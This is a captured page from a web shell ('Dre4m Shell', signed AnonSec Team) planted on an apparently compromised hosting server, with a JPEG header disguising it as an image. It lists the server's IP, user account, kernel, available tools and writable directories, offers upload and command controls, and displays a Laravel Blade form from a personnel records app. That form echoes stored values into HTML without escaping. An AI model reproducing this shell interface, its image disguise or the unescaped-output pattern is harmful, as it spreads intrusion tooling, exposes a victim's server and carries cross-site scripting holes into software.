ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.14.142.241
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/fundscopied/resources/views/DetailsOfPreviousService/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/fundscopied/resources/views/DetailsOfPreviousService/update.blade.php
@extends('layouts.layout')

@section('pageTitle')
  <h3 style="padding:0px;">Update Details Of Previous Public Service <strong>- </strong><span style="color:green;">{{$names->surname}} {{$names->first_name}}</span></h3>
@endsection

<style type="text/css">
	.table, .table thead th, .table tbody td
	{
		border:1px solid #ccc;
	}
	.table thead th strong
	{
		text-align: center;
	}
</style>

@section('content')
 <div class="box box-default">
    <div class="box-body box-profile">
    	<div class="box-header with-border hidden-print">
        	<h3 class="box-title"><b>@yield('pageTitle')</b> <span id='processing'></span></h3>
    	</div>
		  <form method="post" action="{{ url('/update/detailofprevservice/') }}">
		  <div class="box-body">
		        <div class="row">
		            <div class="col-md-12"><!--1st col-->
		                @if (count($errors) > 0)
							<div class="alert alert-danger alert-dismissible" role="alert">
								<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
								</button>
								<strong>Error!</strong> 
								@foreach ($errors->all() as $error)
									<p>{{ $error }}</p>
								@endforeach
							</div>
		                @endif
		                       
						@if(session('msg'))
		                    <div class="alert alert-success alert-dismissible" role="alert">
		                        <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
		                        </button>
		                        <strong>Success!</strong> 
								{{ session('msg') }} 
						    </div>                        
		                @endif

		                @if(session('err'))
		                    <div class="alert alert-warning alert-dismissible" role="alert">
		                        <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
		                        </button>
		                        <strong>Not Allowed ! </strong> 
								{{ session('err') }}
						    </div>                        
		                @endif

		            </div>
					{{ csrf_field() }}

						<div class="col-md-12"><!--2nd col-->

							<!--
								<div align="right" style="margin-right: 10px;">
									<a href="#" title="Add New" class="btn btn-primary open-modal">
										<i class="fa fa-hand-o-down"></i> <b>Add New</b> 
									</a>
								</div>
							-->

							

							<div class="row">
								<div class="col-md-6">
									<div class="form-group">
										<label for="month">Previous Schudule Employer</label>
										@php if($doppservice != ''){
											echo '<input type="text" name="previousemployers" class="form-control" value="'.$doppservice->previousSchudule.'" />	
												<input type="hidden" name="doppsid" value="'.$doppservice->doppsid.'" />
												<input type="hidden" name="hiddenName" value="'.$doppservice->previousSchudule.'" />';
										}else{
											echo '<input type="text" name="previousemployers" class="form-control" />
												  <input type="hidden" name="hiddenName" value="" />';
												  
										}
										@endphp
										
									</div>
								</div>	

								<div class="col-md-6">
									<div class="form-group">
										<label for="month">File Page Ref</label>
										@php if($doppservice != ''){ 
											echo '<input type="text" name="filepage" class="form-control" value="'.$doppservice->filePageRef.'"  />';
										}else{
											echo '<input type="text" name="filepage" class="form-control" />';
										}
										@endphp
									</div>
								</div>
							</div>	

							<div class="row">
							<div class="col-md-6">
							<h3>Dates</h3>

							<div class="col-md-6" style="padding-left: 0px;">
									<div class="form-group">
										<label for="month">From Date</label>
										@php if($doppservice != ''){ 
											echo '<input type="text" name="fromdate" class="form-control" id="fromdate" value="'.$doppservice->fromDate.'"/>';
										}else{
											echo '<input type="text" name="fromdate" class="form-control" id="fromdate" />';
										}
										@endphp

									</div>
								</div>

								<div class="col-md-6" style="padding-right: 0px;">
									<div class="form-group">
										<label for="month">To Date</label>
										@php if($doppservice != ''){ 
											echo '<input type="text" name="todate" class="form-control" id="todate" value="'.$doppservice->toDate.'"/>';
										}else{
											echo '<input type="text" name="todate" class="form-control" id="todate" />';
										}
										@endphp
									</div>
								</div>


								</div>
								<div class="col-md-6">

								<h3>Total Previous Service</h3>
                            <div class="col-md-4" style="padding-left: 0px;">
									<div class="form-group">
										<label for="month">Years</label>
										@php if($doppservice != ''){ 
											echo '<input type="text" name="years" class="form-control" value="'.$doppservice->years.'" />';
										}else{
											echo '<input type="text" name="years" class="form-control"  />';
										}
										@endphp
									</div>
								</div>
							<div class="col-md-4">
									<div class="form-group">
										<label for="month">Months</label>
										@php if($doppservice != ''){ 
											echo '<input type="text" name="months" class="form-control" value="'.$doppservice->months.'"  />';
										}else{
											echo '<input type="text" name="months" class="form-control" />';
										}
										@endphp
									</div>
								</div>
							

							<div class="col-md-4" style="padding-right: 0px;">
									<div class="form-group">
										<label for="month">Days</label>
										@php if($doppservice != ''){ 
											echo '<input type="text" name="days" class="form-control" value="'.$doppservice->days.'" />';
										}else{
											echo '<input type="text" name="days" class="form-control" />';
										}
										@endphp
									</div>
								</div>

							


								</div>

								
							</div>


                            <div class="row">
														

							<div class="col-md-6">
									<div class="form-group">
										<label for="month">Checked By</label>
										@php if($doppservice != ''){ 
											echo '<input type="text" name="checkedby" class="form-control" value="'.$doppservice->checkedby.'" placeholder="Optional" />';
										}else{
											echo '<input type="text" name="checkedby" class="form-control" />';
										}
										@endphp
									</div>
								</div>


                            <div class="col-md-6">
									<div class="form-group">
										<label for="month">Total Previous Pay</label>
										@php if($doppservice != ''){ 
											echo '<input type="text" name="prevpay" class="form-control" value="'.$doppservice->totalPreviousPay.'"/>';
										}else{
											echo '<input type="text" name="prevpay" class="form-control" />';
										}
										@endphp
									</div>
								</div>	
							
							</div>


							<hr />
							<div class="row">
								<div class="col-md-12">

								<div class="col-md-3">
									<div align="left" class="form-group">
										<label for="month">&nbsp;</label><br />
										<a href="{{url('/profile/details/'.session('fileNo'))}}" title="Back to profile" class="btn btn-warning"><i class="fa fa-arrow-circle-left"></i> Back </a>
									</div>
								</div>
								@php //if($doservice != ''){ @endphp
								<div class="col-md-9">
									<div align="right" class="form-group">
										<label for="month">&nbsp;</label><br />
										<button name="action" class="btn btn-success" type="submit">
											Update/Add New <i class="fa fa-save"></i> 
										</button>
									</div>
								</div>
								@php //} @endphp
										
								</div>
							</div>	
							<hr />

					  <table class="table table-striped table-hover table-responsive">
						<thead>
						<tr>
						<th>S/N</th>
						<th>Previous Employers</th>
                        <th colspan="2" valign="top" style="text-align:center;">Dates</th>
                        <th colspan="4" align="center" valign="top" style="text-align:center;">Total Previous Service</th>
						
						
						<th>File Page Ref</th>
						<th>Checked By</th>
						
						<th></th>
						


						</tr>
						<tr>
						<th></th>
						<th></th>

						<th width="75" align="center" valign="middle">From</th>
						<th width="96" align="center" valign="middle">To Date</th>

						<th width="75" align="center" valign="middle">Years</th>
						<th width="96" align="center" valign="middle">Months</th>
						<th width="75" align="center" valign="middle">Days</th>
						<th width="96" align="center" valign="middle">Total Previous Pay</th>
						<th></th>
						<th></th>
						<th></th>
					
						
					
						</tr>
						</thead>
						<tbody>
						@php if($doppList != ''){ @endphp
							@php $key = 1 @endphp
							@foreach($doppList as $list)
							<tr>
								<td>{{$key ++}}</td>
								<td>{{$list->previousSchudule}}</td>
								<td>{{date('d M, Y', strtotime($list->fromDate))}}</td>
								<td>{{date('d M, Y', strtotime($list->toDate))}}</td>
								<td>{{$list->years}}</td>
								<td>{{$list->months}}</td>
								<td>{{$list->days}}</td>
								<td>{{$list->totalPreviousPay}}</td>
								<td>{{$list->filePageRef}}</td>
								<td>{{$list->checkedby}}</td>
								
								<td><a href="{{url('/update/detailofprevservice/'.$list->fileNo.'/'.$list->doppsid)}}" title="Edit" class="btn btn-success fa fa-edit"></a>
								</td>
								
							</tr>
							@endforeach
						@php
						}else{ @endphp
								<tr>
								<td colspan="11" class="text-center">No Details of Previous Public Service Available Yet !</td>
								</tr>
						@php } @endphp

						</tbody>
					</table>
					</div>
		        </div><!-- /.col -->
		    </div><!-- /.row -->
		  </form>
		   
		  <form action="{{url('/process/detailofprevservice/')}}" method="post">
		  {{ csrf_field() }}
		  		<!-- Modal -->
				<div class="bs-example"> 
			    <!-- Modal HTML -->
			    <div id="myModal" class="modal fade">
			        <div class="modal-dialog">
			            <div class="modal-content" style="padding: 10px; border-radius: 6px;">

			                <div class="box box-default">
    							<div class="box-body box-profile">
					                <div class="modal-header">
					                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
					                    <h4 class="modal-title"><b>Add New Next of Kin</b></h4>
					                </div>
					                <div class="modal-body">
					                    <div class="row">
										<div class="col-md-6">
											<div class="form-group">
												<label for="month">Full Name</label>
												<input type="text" name="fullName" class="form-control" />
											</div>
										</div>	

										<div class="col-md-6">
											<div class="form-group">
												<label for="month">Relationship</label>
												<input type="text" name="relationship" class="form-control"/>
											</div>
										</div>
									</div>	

									<div class="row">
										<div class="col-md-6">
											<div class="form-group">
												<label for="month">Full Address</label>
												<textarea name="address" class="form-control"></textarea>
											</div>
										</div>	

										<div class="col-md-6">
											<div class="form-group">
												<label for="month">Phone Number</label>
												<input type="text" name="phoneNumber" class="form-control" placeholder="Optional" />
											</div>
										</div>
									</div>	
					                </div>
					              </div>
					            </div>

			                <div class="modal-footer-not-use" align="right">
			                    <button type="button" class="btn btn-warning" data-dismiss="modal"><i class="fa fa-arrow-circle-left"></i> Close</button>
			                    <button type="submit" class="btn btn-primary"> <i class="fa fa-save"></i> Save</button>
			                </div>

			            </div>
			        </div>
			    </div>
			</div>
		  </form>
	</div>
</div>
@endsection

@section('styles')
<link rel="stylesheet" type="text/css" href="{{asset('assets/css/datepicker.min.css')}}">
@endsection


@section('scripts')
<script src="{{asset('assets/js/jquery-ui.min.js')}}"></script>
  <script type="text/javascript">
	//Modal popup
	$(document).ready(function(){
		$('.open-modal').click(function(){
			$('#myModal').modal('show');
		});
	});


	$( function() {
	    $("#todate").datepicker({
	    	changeMonth: true,
	    	changeYear: true,
	    	yearRange: '1910:2090', // specifying a hard coded year range
		    showOtherMonths: true,
		    selectOtherMonths: true, 
		    dateFormat: "dd MM, yy",
		    //dateFormat: "D, MM d, yy",
		    onSelect: function(dateText, inst){
		    	var theDate = new Date(Date.parse($(this).datepicker('getDate')));
				var dateFormatted = $.datepicker.formatDate('dd MM yy', theDate);
				$("#todate").val(dateFormatted);
        	},
		});

  } );

	$( function() {
	    $("#fromdate").datepicker({
	    	changeMonth: true,
	    	changeYear: true,
	    	yearRange: '1910:2090', // specifying a hard coded year range
		    showOtherMonths: true,
		    selectOtherMonths: true, 
		    dateFormat: "dd MM, yy",
		    //dateFormat: "D, MM d, yy",
		    onSelect: function(dateText, inst){
		    	var theDate = new Date(Date.parse($(this).datepicker('getDate')));
				var dateFormatted = $.datepicker.formatDate('dd MM yy', theDate);
				$("#fromdate").val(dateFormatted);
        	},
		});

  } );
</script>
@endsection

Anon7 - 2022
AnonSec Team